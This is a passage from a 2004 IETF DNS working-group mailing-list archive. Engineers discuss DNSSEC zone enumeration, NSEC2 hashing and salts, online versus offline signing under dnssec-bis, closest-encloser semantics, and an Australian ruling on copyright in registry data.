secret-wg.org).org > > Just to make the changes on a hash collission in secret-wg.org 2^24 > instead of 2^32. The hash colission being an anoyance during signing > because you have to regenerate all NSEC2s with a different salt not > because you happen to hit a "real" name. Eh? This makes the chances 2^104, not 2^24, surely? > This can be distributed over mulitple registrants can do this each carying > their part of the registration costs: > > HASH(salt=0x00, secret-wg.org).org > HASH(salt=0x01, kolkman.org).org > ... > HASH(salt=0xff, marnick.org).org > ... > HASH(salt=0xffff, geerthe.org).org > > you could actually do a DDOS attack on the zone signing process if the > salt space is to small. Practically I think 32bits of salt is > sufficient to mitigate this, so is registration policy. > > EBS 2: > > Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). > I register > HASH(salt=0x4e8aeb32, secret-wg.org).org > That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) > at which point I register > HASH(salt=0x23a5883d, secret-wg.org).org No, if you want to force them to change their salt, you must find a hash collision with the current salt, work factor 2^80. > Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner > names in their zone while otherwise they could have used incremental > signing. Now you've lost me. > The underlying assumption for this is that one version of the zone > would have the same salt for all the NSEC2 RRs. It has to, or the proof doesn't work. > This would not occur > if the NSEC RRs would have owner names in a different namespace in > wich you would not be able (or allowed) to register names (a policy > and not a protocol issue). Hmm. In that case, I have not understood your examples. :-( -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 16:01:29 +0100 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <a06020404bd77033feb0a@[193.0.8.231]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 17:14:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a06020404bd77033feb0a@[193.0.8.231]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > (Just a data point...) another data point (and I only bring this up because it's something I could say earlier): http://tinyurl.com/6datz One of the reasons why I and others (Nominet) have been a little circumspect about the copyright etc. issues associated with enumeration is that the matter was sub-judice in Australia, so this is in part by away of apology for being a little reticent as to the legal basis. We've now had a first ruling in court showing registries do hold copyright in their own zone files (at least in Australian law) - i.e. those registries operating in the "interests of the local community" etc. can, at a legal level control the use of zonefile contents; i.e. it is worth fighting about the technical element. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 16:28:52 +0000 Lines: 24 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 18:43:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Wed, 22 Sep 2004 11:25:10 +0100." <a06020404bd77033feb0a@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > ... > As far as on-line signing as an option, he replied that that was not a big > deal for him. "What's the difference between managing extra zone keys and > managing TSIG keys for XFR's?" word on the street is, online signing isn't allowed in the dnssec-bis spec. given that i'd been presenting it as a workaround, i now apologize to all for misunderstanding the protocol. getting online signing of negative responses would apparently require the same transition pain as NSECxx, so we can stop talking about it separately, and fold it into the NSECxx thread, which is blocked on a requirements definition, to which ed's words apply: > I spoke with a person who used to be a DNS administrator at a well-known > content provider (non-ISP, non-registry, etc.). He told be that when he > was at that job, he would not have been able to justify the deployment of > DNSSEC because of zone enumeration. The rationale for this is "the usual" > - nothing other than not wanting to put certain information "so easily" > available on the Internet. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Derek Atkins <warlord@MIT.EDU> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 13:21:47 -0400 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <20040922162852.7C5B313DFF@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 19:33:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Paul Vixie <paul@vix.com> In-Reply-To: <20040922162852.7C5B313DFF@sa.vix.com> (Paul Vixie's message of "Wed, 22 Sep 2004 16:28:52 +0000") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.1 (gnu/linux) Precedence: bulk Paul Vixie <paul@vix.com> writes: >> ... >> As far as on-line signing as an option, he replied that that was not a big >> deal for him. "What's the difference between managing extra zone keys and >> managing TSIG keys for XFR's?" > > word on the street is, online signing isn't allowed in the dnssec-bis spec. > given that i'd been presenting it as a workaround, i now apologize to all > for misunderstanding the protocol. getting online signing of negative > responses would apparently require the same transition pain as NSECxx, so > we can stop talking about it separately, and fold it into the NSECxx thread, > which is blocked on a requirements definition, to which ed's words apply: Yes, this is exactly why a few of us were trying to hold up the online signing conversation before the bis drafts were finalized, because we realized you COULDN'T do online signing in bis. :( It sucks royally. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 17:46:47 +0000 Lines: 19 Sender: owner-namedroppers@ops.ietf.org References: <warlord@MIT.EDU> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 19:58:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Derek Atkins <warlord@MIT.EDU> of "Wed, 22 Sep 2004 13:21:47 -0400." <sjmr7oui5hw.fsf@dogbert.ihtfp.org> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > Yes, this is exactly why a few of us were trying to hold up the > online signing conversation before the bis drafts were finalized, > because we realized you COULDN'T do online signing in bis. :( > > It sucks royally. i think that sucking royally is the reason a number of people were trying to hold up finalizing the -bis drafts until they had been relaxed in some way that would permit online signing without the full transition cost. "good? bad? i'm the one with the gun." onward. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Florian Weimer <fw@deneb.enyo.de> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 02:41:53 +0200 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <a06020404bd77033feb0a@[193.0.8.231]> <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 02:52:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> (Alex Bligh's message of "Wed, 22 Sep 2004 16:01:29 +0100") Precedence: bulk * Alex Bligh: > --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > >> (Just a data point...) > > another data point (and I only bring this up because it's something I > could say earlier): > http://tinyurl.com/6datz > We've now had a first ruling in court showing registries do hold > copyright in their own zone files (at least in Australian law) WHOIS data or zone file data? The press release only mentions WHOIS data. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 11:38:26 +1000 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <871xgtzui6.fsf@deneb.enyo.de> Cc: Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 03:44:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Florian Weimer <fw@deneb.enyo.de> In-reply-to: Your message of "Thu, 23 Sep 2004 02:41:53 +0200." <871xgtzui6.fsf@deneb.enyo.de> Precedence: bulk > * Alex Bligh: > > > --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > > > >> (Just a data point...) > > > > another data point (and I only bring this up because it's something I > > could say earlier): > > http://tinyurl.com/6datz > > > We've now had a first ruling in court showing registries do hold > > copyright in their own zone files (at least in Australian law) > > WHOIS data or zone file data? The press release only mentions WHOIS > data. http://www.austlii.edu.au/au/cases/cth/federal_ct/2004/1244.html -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Subject: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Wed, 22 Sep 2004 21:35:54 -0400 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <ogud@ogud.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: ''Ben Laurie' ' <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 03:45:44 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-Mailer: Internet Mail Service (5.5.2657.72) X-Sender: <ogud@ogud.com> X-Mailer: <ogud@ogud.com> In-Reply-To: <ogud@ogud.com> X-Scanned-By: <ogud@ogud.com> Precedence: bulk The subject draft, containing our initial attempt at collecting requirements for signed proofs of nonexistence, was submitted to the RFC Editor queue last week. Since it still hasn't shown up in the active queue on rfc-editor.org, here are links to the initial version in text http://www.links.org/dnssec/draft-ietf-dnsext-signed-nonexistence-requiremen ts-00.txt and HTML http://www.links.org/dnssec/draft-ietf-dnsext-signed-nonexistence-requiremen ts-00.html formats. (Or go to http://www.links.org/dnssec/ and look for an appropriate link there.) And as a reminder, we fully expect that some of the requirements in this current document may be unrealistic, may conflict with other requirements, or may in fact be "desire-ments" without a solid basis. Once there is at least rough consensus on the maximally inclusive list, then the WG can work on boiling down to a cohesive set of prioritized requirements. Comments requested, of course. --Rip Loomis gilbert.r.loomis@saic.com co-editor, on behalf of Ben Laurie ben@algroup.co.uk -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Internet Draft Requirements Date: Thu, 23 Sep 2004 07:59:07 +0100 Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org>, ''Ben Laurie' ' <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 09:11:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Precedence: bulk Loomis, Rip wrote: >The subject draft, containing our initial attempt at collecting >requirements for signed proofs of nonexistence, was submitted >to the RFC Editor queue last week. Since it still hasn't shown >up in the active queue on rfc-editor.org, here are links to the >initial version in text > > I was also suprised that the draft didn't appear yet but Rip message triggered me to check the draft for which he posted the (partly broken) links. The text does not start the mandatory patent disclosure certification language. Since more people were and will be bitten by forgetting this here follows a small reminder. If drafts do not follow a basic set of requirements than they will be bounced at submission. The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt If you use the latest available version of XML2RFC tool for authoring the guidlines on the "standard" boilerplates are automatically satisfied (http://xml.resource.org). Personally I recomend this tool. It would of course be cool if all "ID-nits" from http://www.ietf.org/ID-Checklist.html would be sattisfied too. But that can be done at a later stage in the process. The IDnits checker (http://ietf.levkowetz.com/tools/idnits/) is a good tool to check the IDnits that do not rely on human intelligence. Please remember this, being hit by this at cutt-off date would be a waste of time. -- Olaf (PS; Ben, Rip, I suggest you add the needed diclaimers and without any "content" change resubmit the draft) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Thu, 23 Sep 2004 09:14:32 +0100 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> <a06020402bd6c9ece4b34@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 10:22:08 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020402bd6c9ece4b34@[192.168.1.100]> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 12:15 +0100 9/14/04, Ben Laurie wrote: > >> >> In other words, if a.*.example exists, then a query for x.y.example would >> cause y.example to be synthesized as the closest encloser? So, if the >> zone >> looked like: >> >> a.*.example TXT "1" >> *.example TXT "2" >> >> Then a query for x.y.example would yield NXDOMAIN (since y.example is >> an ENT). If a.*.example was not present, the result would be "2". > > > The closest encloser is never synthesized - it's the closest domain in > the tree to the name that is sought. > > Recall that synthesis only happens when you've found that an exact match > fails. The last point of "success" is the closest encloser. > > For x.y.example, the closest encloser would be example.com. As there is > a *.<closest encloser> (= *.example), that is the source of the > synthetic records. > > The result you have is right, but y.example.com is not the closest > encloser. Recall that when performing match rules to find the source of > synthesis, multiple labels can match a '*'. (Not true when 'matching > down the tree, label by label.) It was more a question than a result, but now I'm puzzled. If the closest encloser is not synthesized (which is fine by me, I just thought that you were implying it could be), then surely the result is "2" in both cases and never NXDOMAIN? Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Thu, 23 Sep 2004 09:38:05 +0100 Lines: 88 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> <a06020402bd6c9ece4b34@[192.168.1.100]> <415285E8.7000207@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 10:47:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <415285E8.7000207@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 9:14 +0100 9/23/04, Ben Laurie wrote: >It was more a question than a result, but now I'm puzzled. If the closest >encloser is not synthesized (which is fine by me, I just thought that you were >implying it could be), then surely the result is "2" in both cases and never >NXDOMAIN? By definition, the closest encloser is never synthesized. (You don't synthesize names, you synthesize records.) It's like this: . / | \ uk com edu | example / | \ abc def ghi /|\ x y z /| * w | * If the sought name is foo.bar.w.y.def.example.com., then I match down the tree (label by label) until I see that at w.y.def.example.com. is as far as I can match. Using Venn diagram notation: +--------------------------------------------+ | . | | +-------+ +--------------------+ +------+ | | | uk | | com | | edu | | | +-------+ | | +------+ | | +---------+ +--------+ | | | +-----------------------------------+ | | | | | example | | | | | | +-----+ +---------------+ +-----+ | | | | | | | abc | | def | | ghi | | | | | | | +-----+ | | +-----+ | | | | | | +-+ +-+ | | | | | | | +---+ +---+ +---+ | | | | | | | | | x | | y | | z | | | | | | | | | +---+ | | +---+ | | | | | | | | +-----+ +-----+ | | | | | | | | | | | | | | | | | | | +---+ +---+ | | | | | | | | | | | * | | w | | | | | | | | | | | +---+ | | | | | | | | | | | | +-----+ | | | | | | | | | | | | | | | | | | | | | | | | +---+ | | | | | | | | | | | | | * | | | | | | | | | | | | | +---+ | | | | | | | | | | | +---------+ | | | | | | | | | +---------------+ | | | | | | | +-------------------+ | | | | | +-----------------------------------+ | | | +---------------------------------------+ | +--------------------------------------------+ (Note this is a domain diagram, not a zone diagram.) If you look to see what smallest box covers the sought name, you'll see it's the box labeled w inside the box(y) inside the box(def) inside the box(example) inside the box(com) inside the box(.) (=the universe). That's a better representation of "closest encloser" its the existing domain that encloses the sought name "most closely." I suppose that I got the workd closest from drawing lines to the tree, enclosing from the idea of the domain Venn diagram. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 10:03:27 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <20040922162852.7C5B313DFF@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 11:16:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20040922162852.7C5B313DFF@sa.vix.com> To: namedroppers@ops.ietf.org Precedence: bulk At 16:28 +0000 9/22/04, Paul Vixie wrote: >word on the street is, online signing isn't allowed in the dnssec-bis spec. I was shocked when I heard this in the hallway. (So I had to remove my Paul Vixie kill-file entry ;) ...) What about a signed zone that is dynamically updated - doesn't that physically require on-line signing? Historically, on-line signing was distasteful because of the thought that the private key would be vulnerable to a host attack. I think of that as a security engineer's issue - I don't think it was ever a DNS protocol issue. In addition, in RFC 2065 we had strength bits - we tried for a time to use it to separate on-line keys from off-line keys. I don't recall any discussion to "kill off" on-line signing. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 10:26:01 +0100 Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 11:31:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Thu, 23 Sep 2004 10:03:27 BST." <a0602041bbd7840c3647d@[193.0.8.231]> Precedence: bulk >>>>> "Edward" == Edward Lewis <edlewis@arin.net> writes: >> At 16:28 +0000 9/22/04, Paul Vixie wrote: >> word on the street is, online signing isn't allowed in the >> dnssec-bis spec. Edward> What about a signed zone that is dynamically updated - Edward> doesn't that physically require on-line signing? I suppose a throwaway zone signing key could be on-line for on the fly signing of the updates and a strong key signing key kept off-line. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Internet Draft Requirements Date: Thu, 23 Sep 2004 11:13:49 +0100 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <4152743B.2020204@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:24:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <4152743B.2020204@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > Loomis, Rip wrote: > >> The subject draft, containing our initial attempt at collecting >> requirements for signed proofs of nonexistence, was submitted >> to the RFC Editor queue last week. Since it still hasn't shown >> up in the active queue on rfc-editor.org, here are links to the >> initial version in text >> >> > I was also suprised that the draft didn't appear yet but Rip message > triggered me to check the draft > for which he posted the (partly broken) links. > > The text does not start the mandatory patent disclosure certification > language. > > Since more people were and will be bitten by forgetting this here > follows a small reminder. > > If drafts do not follow a basic set of requirements than they will be > bounced at submission. I saw no bounce, though! > The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt > > If you use the latest available version of XML2RFC tool for authoring > the guidlines on the "standard" > boilerplates are automatically satisfied (http://xml.resource.org). > Personally I recomend this tool. I did use the tool, but perhaps not the latest version. > (PS; Ben, Rip, I suggest you add the needed diclaimers and without any > "content" change resubmit the draft) I will do so shortly. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 17:30:11 +0700 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Florian Weimer <fw@deneb.enyo.de>, Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:39:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> Precedence: bulk Date: Thu, 23 Sep 2004 11:38:26 +1000 From: Mark Andrews <Mark_Andrews@isc.org> Message-ID: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> | http://www.austlii.edu.au/au/cases/cth/federal_ct/2004/1244.html Thanks for the reference. It is clear from that that zone files weren't an issue at all (nothing in the events leading up to the case was in the slightest bit interested in zone file contents) - just the whois database, and Nominet's registry database. It is also clear from this that as an authority on whether or not copyright actually exists in (even those) databases (leaving aside the zone file) this case is totally useless, as that question was conceded by all parties - that is, no-one contested the issue of whether or not copyright actually existed. The judgement just repeats the statutary requirements, and asserts (by agreement) that they're all satisfied. I think that we're going to need another case sometime, where the issue is actually debated, or quite a lot of cases where it is assumed (so that it becomes obvious) before there's any finalisation of the issue. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 11:38:09 +0100 Lines: 89 Sender: owner-namedroppers@ops.ietf.org References: <1704.1095931561@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:44:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <1704.1095931561@gromit.rfc1035.com> To: Jim Reid <jim@rfc1035.com> Precedence: bulk At 10:26 +0100 9/23/04, Jim Reid wrote: >>>>>> "Edward" == Edward Lewis <edlewis@arin.net> writes: > > >> At 16:28 +0000 9/22/04, Paul Vixie wrote: > >> word on the street is, online signing isn't allowed in the > >> dnssec-bis spec. > > Edward> What about a signed zone that is dynamically updated - > Edward> doesn't that physically require on-line signing? > >I suppose a throwaway zone signing key could be on-line for on the fly >signing of the updates and a strong key signing key kept off-line. Back in the day...there was a discussion like this... Let's assume that you have a zone with a mix of critical data and (for lack of a better word) vanity data. Critical would be the address record of your mail server. Vanity would be a CNAME to the entry you are using at a conference. E.g. ---> smtp AAAA <ip addr> marco.polo CNAME host-ripe49-139.example.net. Since the smtp(-owned) record is critical, I'll sign it with key A, which is off-line and is 2048 bits long. The latter record is dynamically added when I pop up the laptop, the key signing it is on-line and 512 bits long. So - the smtp is signed "more" securely than marco.polo. Or so I think. There are a couple of problems. One is - what if the attacker can make an update request to change smtp. This would take just "breaking" through whatever ACL's are involved (IP, tsig key, TKEY, other policy, etc.). The result is that smtp new's address is signed with the on-line key. Another possibility is that the attacker gains the access to the private key (it is exposed). In that case, the attacker can generate a new smtp record and slip that into the zone. (Assuming that the attacker also has broken the host's security.) To defend against the breaking of dynamic update policy we (Olafur, Brian, and I) toyed with the idea of using RFC 2065 KEY RR strength bits (signatory bits). The idea was that no on-line SIG could usurp an off-line SIG. I think that in trying to come up with a "strength scale" we encountered problems, I admit that my memory is foggy about this. Probably because we saw the possibility of illicitly learning the on-line key as an insurmountable problem. (If Olafur and/or Brian want to add to this, please do. We had a lot of discussions back then that never made it out of the office and into recorded messages. ;) The benefits of public mail list discussions and archives - discussions survive employment changes.) Ultimately we determined (!= "and that's the way it is") that without a way to express to resolver/verifiers a policy that includes "these records can only be signed with this kind of key" and "those with the weaker key" it is useless for the server to use more than one key (per algorithm at a time). (Yes, key replacement/rollover, etc. are times for multiple keys, but I'm not worried about that now.) If we were to try now to differentiate between the keys a server uses - we'd have to 1) hardcode into the verifier algorithm a policy, or 2) once again raise the the SEC RR: http://www.potaroo.net/ietf/all-ids//draft-ietf-dnsind-sec-rr-00.txt (Note the last paragraph before section 2.) BTW, we'd also have to specify that the SEC RR (set) would have to be signed off-line - otherwise the first record I'd replace is the SEC RR. ;) In summary - unless some basic assumptions 